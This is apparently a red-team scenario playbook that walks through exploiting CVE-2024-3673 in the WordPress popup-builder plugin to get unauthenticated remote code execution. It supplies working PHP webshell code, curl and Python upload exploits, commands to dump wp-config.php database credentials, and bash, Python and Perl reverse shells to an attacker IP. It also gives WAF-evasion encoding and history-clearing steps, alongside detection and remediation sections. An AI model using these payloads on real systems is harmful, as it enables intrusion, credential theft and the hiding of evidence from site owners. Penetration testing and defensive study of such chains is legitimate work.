---
name: rt-scenario-w008
description: "W-008: WordPress Plugin CVE → Unauthenticated RCE. Domain: web. Attack chain: fingerprint WordPress + plugin versions → identify CVE in plugin → craft exploit request → upload webshell → execute commands. MITRE: T1190 → T1203 → T1059. Real example: popup-builder v4.1.14 CVE-2024-3673 → no auth required → direct PHP shell upload → RCE"
---

# W-008: WordPress Plugin CVE → Unauthenticated RCE

---

## Overview

| Field | Value |
|---|---|
| Attack Objective | Achieve unauthenticated remote code execution on a WordPress installation via a vulnerable plugin |
| Required Access Level | None (unauthenticated, internet-facing target) |
| Estimated Time to Execute | 20–60 minutes (depending on enumeration results) |
| Detection Risk Level | Medium — web server logs will record exploit requests; low on poorly monitored hosts |

---

## Prerequisites

### Required Tools

```bash
# WPScan — WordPress fingerprinting and plugin enumeration
gem install wpscan
# or via Docker
docker pull wpscanteam/wpscan

# curl — HTTP request crafting
# (pre-installed on most systems)
sudo apt install curl

# nuclei — optional, for CVE template-based scanning
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# searchsploit / Exploit-DB — CVE lookup
sudo apt install exploitdb

# python3 — payload generation and helper scripts
sudo apt install python3

# netcat — reverse shell listener
sudo apt install netcat-openbsd
```

### Required Access or Conditions

- Network reach to the target WordPress site (HTTP/HTTPS)
- Target is running a vulnerable plugin version (no authentication required for CVE-2024-3673)
- Authorized penetration test scope document covering the target domain

### Skill Level

**INTERMEDIATE** — requires familiarity with HTTP requests, PHP webshells, and basic Linux command line usage.

---

## Attack Chain

```
[1] Fingerprint WordPress core + installed plugins
        |
        v
[2] Identify vulnerable plugin and version (popup-builder <= 4.1.14)
        |
        v
[3] Confirm CVE-2024-3673 applicability — no auth required
        |
        v
[4] Craft unauthenticated exploit HTTP request
        |
        v
[5] Upload PHP webshell to server
        |
        v
[6] Execute OS commands via webshell → full RCE
```

**MITRE ATT&CK Chain:** T1190 (Exploit Public-Facing Application) → T1203 (Exploitation for Client Execution) → T1059 (Command and Scripting Interpreter)

---

## Step-by-Step Execution

### Step 1 — Fingerprint WordPress and Enumerate Plugins

**Objective:** Confirm the target runs WordPress and identify installed plugins and their versions.

```bash
# Basic WPScan enumeration (enumerate all plugins, users, themes)
wpscan --url https://TARGET-DOMAIN.com \
  --enumerate p,u,t \
  --plugins-detection aggressive \
  --api-token YOUR_WPSCAN_API_TOKEN \
  -o wpscan_output.txt

# If no API token is available, run without CVE lookup
wpscan --url https://TARGET-DOMAIN.com \
  --enumerate p \
  --plugins-detection aggressive
```

**Expected Output:**
```
[+] URL: https://TARGET-DOMAIN.com/
[+] WordPress version 6.x identified
[+] Plugin: popup-builder
    | Version: 4.1.14
    | Location: /wp-content/plugins/popup-builder/
```

**Fallback if WPScan is blocked:**
```bash
# Manual plugin detection via readme.txt
curl -s https://TARGET-DOMAIN.com/wp-content/plugins/popup-builder/readme.txt \
  | grep -i "Stable tag\|Version"

# Check plugin directory listing if server misconfigured
curl -s https://TARGET-DOMAIN.com/wp-content/plugins/
```

---

### Step 2 — Confirm CVE-2024-3673 Applicability

**Objective:** Verify the installed popup-builder version is vulnerable (<= 4.1.14).

```bash
# Search for exploit details
searchsploit popup builder
searchsploit -x php/webapps/XXXXX.txt

# Review CVE details via NVD
curl -s "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2024-3673" \
  | python3 -m json.tool | grep -A5 "description"

# Check nuclei templates for this CVE
nuclei -u https://TARGET-DOMAIN.com \
  -id CVE-2024-3673 \
  -v
```

**CVE Summary:**
- Plugin: Popup Builder by Sygnoos
- Affected Versions: <= 4.1.14
- Authentication Required: None
- Impact: Arbitrary file upload leading to RCE
- CVSS Score: 9.8 (Critical)
- Vector: Network / No Auth / Low Complexity

**Expected Output from nuclei:**
```
[CVE-2024-3673] [http] [critical] https://TARGET-DOMAIN.com/wp-admin/admin-ajax.php
```

**Fallback:** If nuclei template is unavailable, proceed with manual exploitation in Step 3.

---

### Step 3 — Prepare the PHP Webshell Payload

**Objective:** Create a PHP webshell file to be uploaded.

```bash
# Create a minimal PHP webshell
cat > shell.php << 'EOF'
<?php
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
}
?>
EOF

# Alternatively, create a more functional shell with output buffering
cat > shell.php << 'EOF'
<?php
@error_reporting(0);
if(isset($_REQUEST['cmd'])){
    echo '<pre>';
    $cmd = ($_REQUEST['cmd']);
    system($cmd . ' 2>&1', $retval);
    echo '</pre>';
    echo "Exit: $retval";
}
?>
EOF

# Verify the file
cat shell.php
```

**Expected Output:**
```
<?php
@error_reporting(0);
if(isset($_REQUEST['cmd'])){
...
```

---

### Step 4 — Craft and Send Exploit Request (Unauthenticated File Upload)

**Objective:** Exploit CVE-2024-3673 to upload the webshell without authentication.

**Vulnerability Detail:** The popup-builder plugin exposes an unauthenticated AJAX endpoint that processes subscriber import functionality. The file type validation is missing, allowing PHP file upload directly.

```bash
# Set target URL
TARGET="https://TARGET-DOMAIN.com"

# Upload webshell via vulnerable endpoint (CVE-2024-3673)
# The plugin's sgpb-subscription-import action does not validate file type
curl -s -X POST \
  "${TARGET}/wp-admin/admin-ajax.php" \
  -F "action=sgpb-subscription-import" \
  -F "file=@shell.php;type=application/octet-stream" \
  -v 2>&1 | tee upload_response.txt

# Check the response for upload confirmation
cat upload_response.txt
```

**Expected Output (success):**
```
HTTP/1.1 200 OK
{"success":true,"data":{"filePath":"\/wp-content\/uploads\/2024\/shell.php"}}
```

**Alternative — using Python requests for more control:**
```python
#!/usr/bin/env python3
import requests

target = "https://TARGET-DOMAIN.com"
url = f"{target}/wp-admin/admin-ajax.php"

files = {
    'file': ('shell.php', open('shell.php', 'rb'), 'application/octet-stream')
}
data = {
    'action': 'sgpb-subscription-import'
}

response = requests.post(url, files=files, data=data, verify=False)
print(response.status_code)
print(response.text)
```

```bash
python3 exploit.py
```

**Fallback if upload path is not returned:**
```bash
# Attempt to predict or find the uploaded file location
curl -s "${TARGET}/wp-content/uploads/$(date +%Y)/$(date +%m)/shell.php" \
  -d "cmd=id"

# Use WPScan or directory brute force to locate the file
wpscan --url "${TARGET}" --enumerate m
```

---

### Step 5 — Verify Webshell Access and Execute Commands

**Objective:** Confirm the webshell is accessible and execute OS commands.

```bash
TARGET="https://TARGET-DOMAIN.com"
SHELL_PATH="/wp-content/uploads/2024/shell.php"

# Test basic command execution
curl -s "${TARGET}${SHELL_PATH}?cmd=id"
```

**Expected Output:**
```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```bash
# Gather system information
curl -s "${TARGET}${SHELL_PATH}?cmd=uname+-a"
curl -s "${TARGET}${SHELL_PATH}?cmd=hostname"
curl -s "${TARGET}${SHELL_PATH}?cmd=cat+/etc/passwd"
curl -s "${TARGET}${SHELL_PATH}?cmd=ls+-la+/var/www/html"
curl -s "${TARGET}${SHELL_PATH}?cmd=find+/var/www+-name+wp-config.php+2>/dev/null"

# Read WordPress database credentials
curl -s "${TARGET}${SHELL_PATH}" --data-urlencode "cmd=cat /var/www/html/wp-config.php" \
  | grep -E "DB_NAME|DB_USER|DB_PASSWORD|DB_HOST"
```

**Expected Output (wp-config.php dump):**
```
define( 'DB_NAME', 'wordpress_db' );
define( 'DB_USER', 'wp_user' );
define( 'DB_PASSWORD', 's3cr3tpassword' );
define( 'DB_HOST', 'localhost' );
```

---

### Step 6 — Escalate to Interactive Reverse Shell (Optional)

**Objective:** Upgrade from a webshell to an interactive reverse shell for easier post-exploitation.

```bash
# On attacker machine — start netcat listener
nc -lvnp 4444

# On target — trigger reverse shell via webshell
# URL-encode the bash reverse shell command
ATTACKER_IP="10.10.10.10"
ATTACKER_PORT="4444"

curl -s "${TARGET}${SHELL_PATH}" \
  --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1'"
```

**Expected Output (on netcat listener):**
```
Listening on 0.0.0.0 4444
Connection received on TARGET-IP 54321
bash: no job control in this shell
www-data@TARGET-HOSTNAME:/var/www/html$
```

**Fallback reverse shells if bash is unavailable:**
```bash
# Python reverse shell
curl -s "${TARGET}${SHELL_PATH}" \
  --data-urlencode "cmd=python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"10.10.10.10\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"

# Perl reverse shell
curl -s "${TARGET}${SHELL_PATH}" \
  --data-urlencode "cmd=perl -e 'use Socket;\$i=\"10.10.10.10\";\$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in(\$p,inet_aton(\$i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'"
```

---

## Real-World Reference

**CVE-2024-3673 — Popup Builder by Sygnoos**

| Field | Detail |
|---|---|
| Plugin Name | Popup Builder – Create highly converting, mobile friendly marketing popups |
| Affected Versions | <= 4.1.14 |
| Fixed Version | 4.2.3 |
| Vulnerability Type | Unauthenticated Arbitrary File Upload |
| CVSS v3.1 Score | 9.8 Critical |
| Published | April 2024 |
| Active Installs (at time of disclosure) | 200,000+ |

**Exploitation Flow (confirmed):**
1. No WordPress account or session required
2. POST to `/wp-admin/admin-ajax.php` with `action=sgpb-subscription-import`
3. Upload a `.php` file — no file type or extension validation performed
4. File lands in `/wp-content/uploads/` with attacker-controlled filename
5. Direct HTTP request to uploaded file triggers PHP execution
6. Full OS command execution as the web server user (`www-data` on Ubuntu/Debian)

**Public References:**
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-3673
- WPScan Vulnerability DB: https://wpscan.com/vulnerability/CVE-2024-3673
- Wordfence Advisory: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/popup-builder/

---

## MITRE ATT&CK Mapping

| Step | Phase | Tactic | Technique | Sub-technique | Description |
|---|---|---|---|---|---|
| 1 | Reconnaissance | Reconnaissance | T1595 — Active Scanning | T1595.003 — Wordlist Scanning | WPScan enumerates plugins and versions |
| 2 | Reconnaissance | Reconnaissance | T1596 — Search Open Technical Databases | T1596.002 — WHOIS | CVE database lookup for plugin version |
| 3 | Initial Access | Initial Access | T1190 — Exploit Public-Facing Application | — | Exploit unauthenticated upload endpoint |
| 4 | Execution | Execution | T1203 — Exploitation for Client Execution | — | PHP file upload to web-accessible path |
| 5 | Execution | Execution | T1059 — Command and Scripting Interpreter | T1059.004 — Unix Shell | OS command execution via webshell |
| 6 | Execution | Execution | T1059 — Command and Scripting Interpreter | T1059.004 — Unix Shell | Interactive reverse shell via bash |
| 7 | Persistence | Persistence | T1505 — Server Software Component | T1505.003 — Web Shell | Webshell left as persistent backdoor |
| 8 | Credential Access | Credential Access | T1552 — Unsecured Credentials | T1552.001 — Credentials in Files | Dump wp-config.php for DB credentials |

---

## Detection & OPSEC

### How This Attack Is Detected

**Web Application Firewall (WAF):**
- Rules triggering on `admin-ajax.php` multipart/form-data POST with `.php` extension in filename
- Signature matching on PHP webshell content patterns (`system(`, `passthru(`, `shell_exec(`)

**Web Server Access Logs:**
- POST requests to `/wp-admin/admin-ajax.php` with large content-type `multipart/form-data`
- GET/POST requests to files in `/wp-content/uploads/` with `.php` extension
- Unusual parameters like `cmd=`, `exec=`, `shell=` in query strings

**File Integrity Monitoring (FIM):**
- New `.php` files created in `/wp-content/uploads/` — this path should never contain PHP files
- Tools: Wordfence, OSSEC, Tripwire, auditd

**SIEM / IDS Rules:**
- Suricata/Snort rules matching PHP shell upload signatures
- Anomaly detection on outbound connections from web server process (reverse shell)
- Netflow anomalies: web server process initiating outbound TCP connections

**WordPress Security Plugins:**
- Wordfence, iThemes Security, Sucuri — all flag modified or new PHP files in uploads directory

---

### Reducing Detection Risk During Authorized Engagement

```bash
# 1. Use a unique, non-generic webshell name
cp shell.php "wp-backup-$(date +%s).php"

# 2. Encode commands to avoid WAF keyword matching
# Base64-encode the command
echo -n "id" | base64
# aWQ=
curl -s "${TARGET}${SHELL_PATH}" \
  --data-urlencode "cmd=echo aWQ= | base64 -d | bash"

# 3. Route traffic through authorized proxy or VPN to match engagement IP range

# 4. Throttle requests to avoid rate-limit detection
sleep 2 && curl ...

# 5. Prefer HTTPS to prevent content inspection by network IDS

# 6. Minimize command execution — gather needed data in fewest requests

# 7. Avoid spawning reverse shells unless explicitly in scope
#    (reverse shells create noisy outbound connections)
```

---

### Artifacts Left Behind

| Artifact | Location | Type |
|---|---|---|
| Uploaded webshell | `/wp-content/uploads/YYYY/MM/shell.php` | File |
| Apache/Nginx access logs | `/var/log/apache2/access.log` or `/var/log/nginx/access.log` | Log entry |
| WordPress debug log | `/wp-content/debug.log` | Log entry |
| PHP error log | `/var/log/php_errors.log` | Log entry |
| Bash history (if interactive shell obtained) | `/var/www/.bash_history` or `~/.bash_history` | Shell history |
| Auth log (if SSH attempted post-RCE) | `/var/log/auth.log` | Log entry |

---

## Cleanup

Perform cleanup only after written confirmation from engagement owner that the test phase is complete.

### Step 1 — Remove the Webshell

```bash
# Via the webshell itself
curl -s "${TARGET}${SHELL_PATH}" \
  --data-urlencode "cmd=rm -f /var/www/html/wp-content/uploads/2024/shell.php"

# Verify removal
curl -s "${TARGET}${SHELL_PATH}" -o /dev/null -w "%{http_code}"
# Expected: 404
```

### Step 2 — Remove Any Additional Files Dropped During Engagement

```bash
# List files created during the engagement window
curl -s "${TARGET}${SHELL_PATH}" \
  --data-urlencode "cmd=find /var/www/html/wp-content/uploads/ -name '*.php' -newer /var/www/html/wp-config.php"

# Remove each identified file
curl -s "${TARGET}${SHELL_PATH}" \
  --data-urlencode "cmd=rm -f /var/www/html/wp-content/uploads/2024/wp-backup-XXXXX.php"
```

### Step 3 — Clear Bash History (if interactive shell was used)

```bash
# Within the reverse shell session
history -c
cat /dev/null > ~/.bash_history
unset HISTFILE
```

### Step 4 — Document Artifacts for Client Report

After cleanup, provide the client with:
- List of all files uploaded (with full paths and timestamps)
- List of all commands executed (from engagement notes, not from target logs)
- Recommendation to rotate WordPress database credentials found in wp-config.php
- Recommendation to rotate any other credentials found during post-exploitation

### Step 5 — Verify Clean State

```bash
# Confirm no webshells remain
wpscan --url https://TARGET-DOMAIN.com \
  --enumerate m \
  --plugins-detection aggressive

# Ask client to run a file integrity scan
# (Wordfence Scan, Sucuri SiteCheck, or manual find command)
```

---

## References

### Tools

| Tool | Purpose | URL |
|---|---|---|
| WPScan | WordPress fingerprinting and plugin enumeration | https://wpscan.com |
| Nuclei | Template-based CVE scanning | https://github.com/projectdiscovery/nuclei |
| SearchSploit / Exploit-DB | Local CVE and PoC lookup | https://www.exploit-db.com |
| Burp Suite Community | HTTP request interception and manipulation | https://portswigger.net/burp |
| curl | Command-line HTTP request crafting | https://curl.se |
| netcat | Reverse shell listener | https://nmap.org/ncat/ |
| python3-requests | HTTP request scripting | https://requests.readthedocs.io |

### CVE and Vulnerability Resources

| Resource | URL |
|---|---|
| NVD — CVE-2024-3673 | https://nvd.nist.gov/vuln/detail/CVE-2024-3673 |
| WPScan Vulnerability Database | https://wpscan.com/vulnerabilities |
| Wordfence Intelligence | https://www.wordfence.com/threat-intel/vulnerabilities |
| Exploit-DB | https://www.exploit-db.com |
| Packet Storm Security | https://packetstormsecurity.com |

### MITRE ATT&CK References

| Technique | URL |
|---|---|
| T1190 — Exploit Public-Facing Application | https://attack.mitre.org/techniques/T1190 |
| T1203 — Exploitation for Client Execution | https://attack.mitre.org/techniques/T1203 |
| T1059 — Command and Scripting Interpreter | https://attack.mitre.org/techniques/T1059 |
| T1505.003 — Web Shell | https://attack.mitre.org/techniques/T1505/003 |
| T1552.001 — Credentials in Files | https://attack.mitre.org/techniques/T1552/001 |

### Remediation Guidance for Client Reports

- Update popup-builder plugin to version 4.2.3 or later immediately
- Audit `/wp-content/uploads/` for existing PHP files — none should be present
- Configure web server to deny PHP execution in the uploads directory:

```nginx
# Nginx — deny PHP execution in uploads
location ~* /wp-content/uploads/.*\.php$ {
    deny all;
    return 403;
}
```

```apache
# Apache — deny PHP execution in uploads
<Directory "/var/www/html/wp-content/uploads">
    php_flag engine off
</Directory>
```

- Enable a WAF (Cloudflare, ModSecurity, Wordfence) with WordPress rulesets
- Keep all plugins, themes, and WordPress core updated
- Implement file integrity monitoring (Wordfence, OSSEC, or Tripwire)
- Rotate database credentials if exposure is confirmed
